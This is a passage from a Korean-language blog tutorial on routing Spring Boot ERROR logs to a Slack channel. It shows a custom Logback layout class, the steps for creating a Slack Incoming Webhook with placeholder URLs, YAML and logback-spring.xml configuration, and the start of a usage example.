        <span class="k">if</span> <span class="o">(</span><span class="n">formattedMessage</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">formattedMessage</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span> <span class="o">{</span>
            <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="n">formattedMessage</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="s">"\n"</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"```\n"</span><span class="o">);</span>

        <span class="c1">// 예외 클래스명 + 메시지</span>
        <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="n">throwableProxy</span><span class="o">.</span><span class="na">getClassName</span><span class="o">());</span>
        <span class="nc">String</span> <span class="n">message</span> <span class="o">=</span> <span class="n">throwableProxy</span><span class="o">.</span><span class="na">getMessage</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">message</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">message</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span> <span class="o">{</span>
            <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">": "</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">message</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"\n"</span><span class="o">);</span>

        <span class="c1">// 스택 트레이스 전체 출력</span>
        <span class="nc">StackTraceElementProxy</span><span class="o">[]</span> <span class="n">stackTrace</span> <span class="o">=</span>
            <span class="n">throwableProxy</span><span class="o">.</span><span class="na">getStackTraceElementProxyArray</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">stackTrace</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">stackTrace</span><span class="o">.</span><span class="na">length</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">for</span> <span class="o">(</span><span class="nc">StackTraceElementProxy</span> <span class="n">element</span> <span class="o">:</span> <span class="n">stackTrace</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"  at "</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">element</span><span class="o">.</span><span class="na">toString</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"\n"</span><span class="o">);</span>
            <span class="o">}</span>
        <span class="o">}</span>

        <span class="c1">// Caused by 체인 출력</span>
        <span class="nc">IThrowableProxy</span> <span class="n">cause</span> <span class="o">=</span> <span class="n">throwableProxy</span><span class="o">.</span><span class="na">getCause</span><span class="o">();</span>
        <span class="k">while</span> <span class="o">(</span><span class="n">cause</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"Caused by: "</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">cause</span><span class="o">.</span><span class="na">getClassName</span><span class="o">());</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">cause</span><span class="o">.</span><span class="na">getMessage</span><span class="o">()</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">": "</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">cause</span><span class="o">.</span><span class="na">getMessage</span><span class="o">());</span>
            <span class="o">}</span>
            <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"\n"</span><span class="o">);</span>

            <span class="nc">StackTraceElementProxy</span><span class="o">[]</span> <span class="n">causeStackTrace</span> <span class="o">=</span>
                <span class="n">cause</span><span class="o">.</span><span class="na">getStackTraceElementProxyArray</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">causeStackTrace</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
                <span class="k">for</span> <span class="o">(</span><span class="nc">StackTraceElementProxy</span> <span class="n">element</span> <span class="o">:</span> <span class="n">causeStackTrace</span><span class="o">)</span> <span class="o">{</span>
                    <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"  at "</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">element</span><span class="o">.</span><span class="na">toString</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"\n"</span><span class="o">);</span>
                <span class="o">}</span>
            <span class="o">}</span>
            <span class="n">cause</span> <span class="o">=</span> <span class="n">cause</span><span class="o">.</span><span class="na">getCause</span><span class="o">();</span>
        <span class="o">}</span>

        <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"```\n"</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">String</span> <span class="nf">getEmojiForLevel</span><span class="o">(</span><span class="nc">Level</span> <span class="n">level</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">level</span><span class="o">.</span><span class="na">isGreaterOrEqual</span><span class="o">(</span><span class="nc">Level</span><span class="o">.</span><span class="na">ERROR</span><span class="o">))</span> <span class="k">return</span> <span class="s">":rotating_light:"</span><span class="o">;</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">level</span><span class="o">.</span><span class="na">isGreaterOrEqual</span><span class="o">(</span><span class="nc">Level</span><span class="o">.</span><span class="na">WARN</span><span class="o">))</span>  <span class="k">return</span> <span class="s">":warning:"</span><span class="o">;</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">level</span><span class="o">.</span><span class="na">isGreaterOrEqual</span><span class="o">(</span><span class="nc">Level</span><span class="o">.</span><span class="na">INFO</span><span class="o">))</span>  <span class="k">return</span> <span class="s">":information_source:"</span><span class="o">;</span>
        <span class="k">return</span> <span class="s">":bug:"</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">String</span> <span class="nf">getLogPrefix</span><span class="o">(</span><span class="nc">ILoggingEvent</span> <span class="n">event</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">logPrefix</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">logPrefix</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"unknown"</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">return</span> <span class="n">logPrefix</span><span class="o">;</span>
        <span class="o">}</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="nc">String</span> <span class="n">contextLogPrefix</span> <span class="o">=</span>
                <span class="n">event</span><span class="o">.</span><span class="na">getLoggerContextVO</span><span class="o">().</span><span class="na">getPropertyMap</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="s">"LOG_PREFIX"</span><span class="o">);</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">contextLogPrefix</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">contextLogPrefix</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span> <span class="o">{</span>
                <span class="k">this</span><span class="o">.</span><span class="na">logPrefix</span> <span class="o">=</span> <span class="n">contextLogPrefix</span><span class="o">;</span>
                <span class="k">return</span> <span class="n">contextLogPrefix</span><span class="o">;</span>
            <span class="o">}</span>
            <span class="k">return</span> <span class="s">"unknown"</span><span class="o">;</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">return</span> <span class="s">"unknown"</span><span class="o">;</span>
        <span class="o">}</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">setLogPrefix</span><span class="o">(</span><span class="nc">String</span> <span class="n">logPrefix</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">logPrefix</span> <span class="o">=</span> <span class="n">logPrefix</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">setExcludedExceptions</span><span class="o">(</span><span class="nc">String</span> <span class="n">excludedExceptions</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">excludedExceptions</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">excludedExceptions</span><span class="o">.</span><span class="na">trim</span><span class="o">().</span><span class="na">isEmpty</span><span class="o">())</span> <span class="o">{</span>
            <span class="nc">String</span><span class="o">[]</span> <span class="n">exceptions</span> <span class="o">=</span> <span class="n">excludedExceptions</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s">","</span><span class="o">);</span>
            <span class="k">this</span><span class="o">.</span><span class="na">excludedExceptions</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashSet</span><span class="o">&lt;&gt;();</span>
            <span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">exception</span> <span class="o">:</span> <span class="n">exceptions</span><span class="o">)</span> <span class="o">{</span>
                <span class="nc">String</span> <span class="n">trimmed</span> <span class="o">=</span> <span class="n">exception</span><span class="o">.</span><span class="na">trim</span><span class="o">();</span>
                <span class="k">if</span> <span class="o">(!</span><span class="n">trimmed</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span> <span class="o">{</span>
                    <span class="k">this</span><span class="o">.</span><span class="na">excludedExceptions</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">trimmed</span><span class="o">);</span>
                <span class="o">}</span>
            <span class="o">}</span>
        <span class="o">}</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kt">boolean</span> <span class="nf">isExcludedException</span><span class="o">(</span><span class="nc">ILoggingEvent</span> <span class="n">event</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">excludedExceptions</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">()</span> <span class="o">||</span> <span class="n">event</span><span class="o">.</span><span class="na">getThrowableProxy</span><span class="o">()</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="nc">String</span> <span class="n">exceptionClassName</span> <span class="o">=</span> <span class="n">event</span><span class="o">.</span><span class="na">getThrowableProxy</span><span class="o">().</span><span class="na">getClassName</span><span class="o">();</span>

        <span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">excluded</span> <span class="o">:</span> <span class="n">excludedExceptions</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">exceptionClassName</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">excluded</span><span class="o">))</span> <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">exceptionClassName</span><span class="o">.</span><span class="na">endsWith</span><span class="o">(</span><span class="s">"."</span> <span class="o">+</span> <span class="n">excluded</span><span class="o">))</span> <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">String</span> <span class="nf">getShortLoggerName</span><span class="o">(</span><span class="nc">String</span> <span class="n">fullLoggerName</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">fullLoggerName</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="n">fullLoggerName</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span> <span class="o">{</span>
            <span class="k">return</span> <span class="s">"Unknown"</span><span class="o">;</span>
        <span class="o">}</span>
        <span class="kt">int</span> <span class="n">lastDot</span> <span class="o">=</span> <span class="n">fullLoggerName</span><span class="o">.</span><span class="na">lastIndexOf</span><span class="o">(</span><span class="s">"."</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">lastDot</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">lastDot</span> <span class="o">&lt;</span> <span class="n">fullLoggerName</span><span class="o">.</span><span class="na">length</span><span class="o">()</span> <span class="o">-</span> <span class="mi">1</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">return</span> <span class="n">fullLoggerName</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="n">lastDot</span> <span class="o">+</span> <span class="mi">1</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="n">fullLoggerName</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">SlackLogLayout</code>의 주요 기능을 정리하면:</p>

<table>
  <thead>
    <tr>
      <th>기능</th>
      <th>설명</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>이모지 매핑</td>
      <td>ERROR → 🚨, WARN → ⚠️, INFO → ℹ️</td>
    </tr>
    <tr>
      <td>traceId 포함</td>
      <td>MDC에서 traceId를 추출하여 메시지에 포함</td>
    </tr>
    <tr>
      <td>스택 트레이스</td>
      <td>ERROR 레벨 + 예외 발생 시 전체 스택 트레이스 출력</td>
    </tr>
    <tr>
      <td>Caused by 체인</td>
      <td>예외 원인 체인을 순회하며 모든 스택 트레이스 포함</td>
    </tr>
    <tr>
      <td>예외 필터링</td>
      <td><code class="language-plaintext highlighter-rouge">excludedExceptions</code>에 등록된 비즈니스 예외는 빈 문자열 반환</td>
    </tr>
  </tbody>
</table>

<h3 id="step-6-slack-모니터링-채널-및-incoming-webhook-생성">Step 6: Slack 모니터링 채널 및 Incoming Webhook 생성</h3>

<p>Slack에서 에러 알림을 수신할 채널을 만들고 Webhook URL을 발급합니다.</p>

<h4 id="6-1-모니터링-채널-생성">6-1. 모니터링 채널 생성</h4>

<ol>
  <li>Slack 워크스페이스에서 <strong>채널 추가</strong> 클릭</li>
  <li>채널 정보 입력:
    <ul>
      <li><strong>이름</strong>: <code class="language-plaintext highlighter-rouge">error-monitoring</code> (환경별로 <code class="language-plaintext highlighter-rouge">error-monitoring-dev</code>, <code class="language-plaintext highlighter-rouge">error-monitoring-prod</code> 등 분리 권장)</li>
      <li><strong>가시성</strong>: 비공개 채널 권장 (운영 노이즈 차단)</li>
      <li><strong>설명</strong>: <code class="language-plaintext highlighter-rouge">서버 ERROR 로그 자동 알림 채널</code></li>
    </ul>
  </li>
  <li>알림을 받아야 하는 팀원 초대</li>
</ol>

<h4 id="6-2-incoming-webhook-url-생성">6-2. Incoming Webhook URL 생성</h4>

<ol>
  <li>대상 모니터링 채널 설정 편집 → <strong>통합</strong> 탭 → <strong>앱 추가</strong> 클릭</li>
</ol>

<p><img src="https://github.com/user-attachments/assets/49110d57-e65c-4b33-94b0-bb96f94999f8" alt="Slack 채널 통합 탭 앱 추가" style="max-width: 600px;" /></p>

<ol start="2">
  <li><strong>‘Incoming Webhooks’</strong> 검색 후 설치</li>
</ol>

<p><img src="https://github.com/user-attachments/assets/433743dc-efea-417d-aeb6-883a2dd56516" alt="Incoming Webhooks 검색 및 구성" style="max-width: 600px;" /></p>

<ol start="3">
  <li><strong>‘Slack에 추가’</strong> 클릭 → 대상 모니터링 채널 선택 후 <strong>‘수신 웹후크 통합 앱 추가’</strong> 클릭</li>
</ol>

<p><img src="https://github.com/user-attachments/assets/67d6e233-f192-481e-86e6-fe9280afca1a" alt="수신 웹후크 통합 앱 추가" style="max-width: 600px;" /></p>

<ol start="4">
  <li>생성된 Webhook URL 복사</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX
</code></pre></div></div>

<blockquote>
  <p><strong>주의</strong>: Webhook URL은 외부에 노출되면 안 됩니다. 환경 변수 또는 시크릿 매니저를 통해 관리하세요.</p>
</blockquote>

<h3 id="step-7-applicationyml-설정">Step 7: application.yml 설정</h3>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">logging</span><span class="pi">:</span>
  <span class="na">config</span><span class="pi">:</span> <span class="s">classpath:logback-spring.xml</span>
  <span class="na">slack</span><span class="pi">:</span>
    <span class="na">webhook-uri</span><span class="pi">:</span> <span class="s">https://hooks.slack.com/services/XXXXX/YYYYY/ZZZZZ</span>
    <span class="na">channel</span><span class="pi">:</span> <span class="s">error-monitoring</span>
    <span class="na">username</span><span class="pi">:</span> <span class="s">Server-Alert</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>속성</th>
      <th>설명</th>
      <th>예시</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">config</code></td>
      <td>Logback 설정 파일 경로 (**반드시 <code class="language-plaintext highlighter-rouge">-spring</code> 접미사**)</td>
      <td><code class="language-plaintext highlighter-rouge">classpath:logback-spring.xml</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">webhook-uri</code></td>
      <td>Slack Incoming Webhook URL</td>
      <td><code class="language-plaintext highlighter-rouge">https://hooks.slack.com/services/...</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">channel</code></td>
      <td>알림 수신 채널 (# 제외)</td>
      <td><code class="language-plaintext highlighter-rouge">error-monitoring</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">username</code></td>
      <td>메시지 발신자명</td>
      <td><code class="language-plaintext highlighter-rouge">API-Server-Alert</code></td>
    </tr>
  </tbody>
</table>

<h4 id="왜-logback-springxml-이어야-하는가">왜 logback-spring.xml 이어야 하는가?</h4>

<p><code class="language-plaintext highlighter-rouge">logback.xml</code>과 <code class="language-plaintext highlighter-rouge">logback-spring.xml</code>은 <strong>로딩 시점</strong>이 다릅니다.</p>

<table>
  <thead>
    <tr>
      <th>파일명</th>
      <th>로딩 주체</th>
      <th>시점</th>
      <th>Spring 기능</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">logback.xml</code></td>
      <td>Logback 프레임워크 자체</td>
      <td>Spring 초기화 **이전**</td>
      <td>사용 불가</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">logback-spring.xml</code></td>
      <td>Spring Boot LoggingSystem</td>
      <td>Spring 초기화 **이후**</td>
      <td>사용 가능</td>
    </tr>
  </tbody>
</table>

<p><code class="language-plaintext highlighter-rouge">logback.xml</code>은 Logback이 클래스패스에서 자동 감지하여 <strong>Spring Context가 생성되기 전</strong>에 로딩합니다. 이 시점에는 <code class="language-plaintext highlighter-rouge">application.yml</code>이 아직 파싱되지 않았기 때문에 Spring 확장 태그가 동작하지 않습니다.</p>

<p>이 가이드의 Slack Appender 설정에서 사용하는 <code class="language-plaintext highlighter-rouge">&lt;springProperty&gt;</code>가 대표적인 Spring 확장 태그입니다:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- application.yml의 값을 logback 변수로 주입 --&gt;</span>
<span class="nt">&lt;springProperty</span> <span class="na">name=</span><span class="s">"SLACK_WEBHOOK_URI"</span> <span class="na">source=</span><span class="s">"logging.slack.webhook-uri"</span><span class="nt">/&gt;</span>
<span class="nt">&lt;springProperty</span> <span class="na">name=</span><span class="s">"SLACK_CHANNEL"</span>     <span class="na">source=</span><span class="s">"logging.slack.channel"</span><span class="nt">/&gt;</span>
<span class="nt">&lt;springProperty</span> <span class="na">name=</span><span class="s">"SLACK_USERNAME"</span>    <span class="na">source=</span><span class="s">"logging.slack.username"</span><span class="nt">/&gt;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">logback.xml</code>에서 위 태그를 사용하면 Spring Environment가 없으므로 <strong>모든 값이 빈 문자열로 바인딩</strong>되어 Slack 전송이 실패합니다.</p>

<blockquote>
  <p><strong>정리</strong>: <code class="language-plaintext highlighter-rouge">&lt;springProperty&gt;</code>, <code class="language-plaintext highlighter-rouge">&lt;springProfile&gt;</code> 등 Spring 확장 태그를 사용하려면 반드시 파일명이 <code class="language-plaintext highlighter-rouge">logback-spring.xml</code>이어야 합니다.</p>
</blockquote>

<h3 id="step-8-logback-springxml-설정">Step 8: logback-spring.xml 설정</h3>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;configuration</span> <span class="na">debug=</span><span class="s">"false"</span> <span class="na">scan=</span><span class="s">"true"</span> <span class="na">scanPeriod=</span><span class="s">"300 seconds"</span><span class="nt">&gt;</span>

    <span class="nt">&lt;include</span> <span class="na">resource=</span><span class="s">"org/springframework/boot/logging/logback/defaults.xml"</span> <span class="nt">/&gt;</span>

    <span class="c">&lt;!-- 1. 공통 프로퍼티 --&gt;</span>
    <span class="nt">&lt;property</span> <span class="na">name=</span><span class="s">"LOG_LEVEL"</span>       <span class="na">value=</span><span class="s">"DEBUG"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;property</span> <span class="na">name=</span><span class="s">"LOG_PREFIX"</span>      <span class="na">value=</span><span class="s">"my-api"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;property</span> <span class="na">name=</span><span class="s">"LOG_FILE_PREFIX"</span> <span class="na">value=</span><span class="s">"my-api"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;property</span> <span class="na">name=</span><span class="s">"LOG_PATH"</span>        <span class="na">value=</span><span class="s">"/home/ec2-user/logs/my-api"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;property</span> <span class="na">name=</span><span class="s">"TOTAL_SIZE_CAP_SERVICE"</span> <span class="na">value=</span><span class="s">"50GB"</span><span class="nt">/&gt;</span>

    <span class="c">&lt;!-- 2. Slack 설정 (application.yml에서 주입) --&gt;</span>
    <span class="nt">&lt;springProperty</span> <span class="na">name=</span><span class="s">"SLACK_WEBHOOK_URI"</span> <span class="na">source=</span><span class="s">"logging.slack.webhook-uri"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;springProperty</span> <span class="na">name=</span><span class="s">"SLACK_CHANNEL"</span>     <span class="na">source=</span><span class="s">"logging.slack.channel"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;springProperty</span> <span class="na">name=</span><span class="s">"SLACK_USERNAME"</span>    <span class="na">source=</span><span class="s">"logging.slack.username"</span><span class="nt">/&gt;</span>

    <span class="c">&lt;!-- 3. 공통 Appender --&gt;</span>
    <span class="nt">&lt;include</span> <span class="na">resource=</span><span class="s">"logback-default.xml"</span> <span class="nt">/&gt;</span>

    <span class="c">&lt;!-- ============================================ --&gt;</span>
    <span class="c">&lt;!-- 4. Slack Appender 설정                       --&gt;</span>
    <span class="c">&lt;!-- ============================================ --&gt;</span>

    <span class="c">&lt;!-- 4-1. Slack Appender (모든 레벨) - 명시적 호출용 --&gt;</span>
    <span class="nt">&lt;appender</span> <span class="na">name=</span><span class="s">"slack"</span> <span class="na">class=</span><span class="s">"com.github.maricn.logback.SlackAppender"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;webhookUri&gt;</span>${SLACK_WEBHOOK_URI}<span class="nt">&lt;/webhookUri&gt;</span>
        <span class="nt">&lt;channel&gt;</span>#${SLACK_CHANNEL}<span class="nt">&lt;/channel&gt;</span>
        <span class="nt">&lt;username&gt;</span>${SLACK_USERNAME}<span class="nt">&lt;/username&gt;</span>
        <span class="nt">&lt;colorCoding&gt;</span>true<span class="nt">&lt;/colorCoding&gt;</span>
        <span class="nt">&lt;layout</span> <span class="na">class=</span><span class="s">"com.example.common.logging.SlackLogLayout"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;logPrefix&gt;</span>${LOG_PREFIX}<span class="nt">&lt;/logPrefix&gt;</span>
        <span class="nt">&lt;/layout&gt;</span>
    <span class="nt">&lt;/appender&gt;</span>

    <span class="c">&lt;!-- 4-2. Slack Appender (ERROR 전용) - root logger용 --&gt;</span>
    <span class="nt">&lt;appender</span> <span class="na">name=</span><span class="s">"slackError"</span> <span class="na">class=</span><span class="s">"com.github.maricn.logback.SlackAppender"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;webhookUri&gt;</span>${SLACK_WEBHOOK_URI}<span class="nt">&lt;/webhookUri&gt;</span>
        <span class="nt">&lt;channel&gt;</span>#${SLACK_CHANNEL}<span class="nt">&lt;/channel&gt;</span>
        <span class="nt">&lt;username&gt;</span>${SLACK_USERNAME}<span class="nt">&lt;/username&gt;</span>
        <span class="nt">&lt;colorCoding&gt;</span>true<span class="nt">&lt;/colorCoding&gt;</span>
        <span class="nt">&lt;layout</span> <span class="na">class=</span><span class="s">"com.example.common.logging.SlackLogLayout"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;logPrefix&gt;</span>${LOG_PREFIX}<span class="nt">&lt;/logPrefix&gt;</span>
            <span class="c">&lt;!-- 비즈니스 예외는 Slack 전송 제외 (쉼표 구분자로 여러건 추가) --&gt;</span>
            <span class="nt">&lt;excludedExceptions&gt;</span>
                BizException,BizNotFoundException,ForbiddenException,
                BizAuthorizationException,BindException,ConflictException,
                ApiException
            <span class="nt">&lt;/excludedExceptions&gt;</span>
        <span class="nt">&lt;/layout&gt;</span>
        <span class="nt">&lt;filter</span> <span class="na">class=</span><span class="s">"ch.qos.logback.classic.filter.ThresholdFilter"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;level&gt;</span>ERROR<span class="nt">&lt;/level&gt;</span>
        <span class="nt">&lt;/filter&gt;</span>
    <span class="nt">&lt;/appender&gt;</span>

    <span class="c">&lt;!-- ============================================ --&gt;</span>
    <span class="c">&lt;!-- 5. 로거 설정                                 --&gt;</span>
    <span class="c">&lt;!-- ============================================ --&gt;</span>

    <span class="c">&lt;!-- Slack 전용 로거 (명시적 호출용 - 모든 레벨 허용) --&gt;</span>
    <span class="nt">&lt;logger</span> <span class="na">name=</span><span class="s">"slackLogger"</span> <span class="na">level=</span><span class="s">"DEBUG"</span> <span class="na">additivity=</span><span class="s">"false"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;appender-ref</span> <span class="na">ref=</span><span class="s">"slack"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;/logger&gt;</span>

    <span class="c">&lt;!-- Root Logger --&gt;</span>
    <span class="nt">&lt;root</span> <span class="na">level=</span><span class="s">"${LOG_LEVEL}"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;appender-ref</span> <span class="na">ref=</span><span class="s">"asyncFile"</span> <span class="nt">/&gt;</span>
        <span class="c">&lt;!-- ERROR 이상 로그만 자동으로 Slack 전송 --&gt;</span>
        <span class="nt">&lt;appender-ref</span> <span class="na">ref=</span><span class="s">"slackError"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;/root&gt;</span>

<span class="nt">&lt;/configuration&gt;</span>
</code></pre></div></div>

<h4 id="slack-appender를-왜-2개로-분리했는가">Slack Appender를 왜 2개로 분리했는가?</h4>

<table>
  <thead>
    <tr>
      <th>Appender</th>
      <th>용도</th>
      <th>레벨</th>
      <th>예외 필터링</th>
      <th>연결</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">slack</code></td>
      <td>명시적 호출</td>
      <td>ALL</td>
      <td>없음</td>
      <td><code class="language-plaintext highlighter-rouge">slackLogger</code> 전용</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">slackError</code></td>
      <td>자동 ERROR 알림</td>
      <td>ERROR만</td>
      <td>비즈니스 예외 제외</td>
      <td>root logger</td>
    </tr>
  </tbody>
</table>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">slackError</code></strong>: 모든 ERROR 로그가 자동 전송됩니다. 단, <code class="language-plaintext highlighter-rouge">BizException</code> 같은 비즈니스 예외는 <code class="language-plaintext highlighter-rouge">excludedExceptions</code> 설정으로 필터링되어 실제 시스템 장애만 알림을 받습니다.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">slack</code></strong>: 개발자가 특정 시점에 명시적으로 Slack에 전송할 때 사용합니다. DEBUG/INFO 레벨도 가능하므로 배포 알림, 헬스체크 결과 등 다양한 용도로 활용할 수 있습니다.</li>
</ul>

<hr />

<h2 id="사용법">사용법</h2>

<h3 id="1-자동-error-알림-기본-동작">1. 자동 ERROR 알림 (기본 동작)</h3>

<p>별도 코드 변경 없이, 애플리케이션에서 발생하는 모든 ERROR 로그가 자동으로 Slack에 전송됩니다.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Slf4j</span>
<span class="nd">@Service</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">OrderService</span> <span class="o">{</span>

    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">processOrder</span><span class="o">(</span><span class="nc">Long</span> <span class="n">orderId</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="c1">// 비즈니스 로직</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="c1">// 이 ERROR 로그가 자동으로 Slack에 전송됨</span>
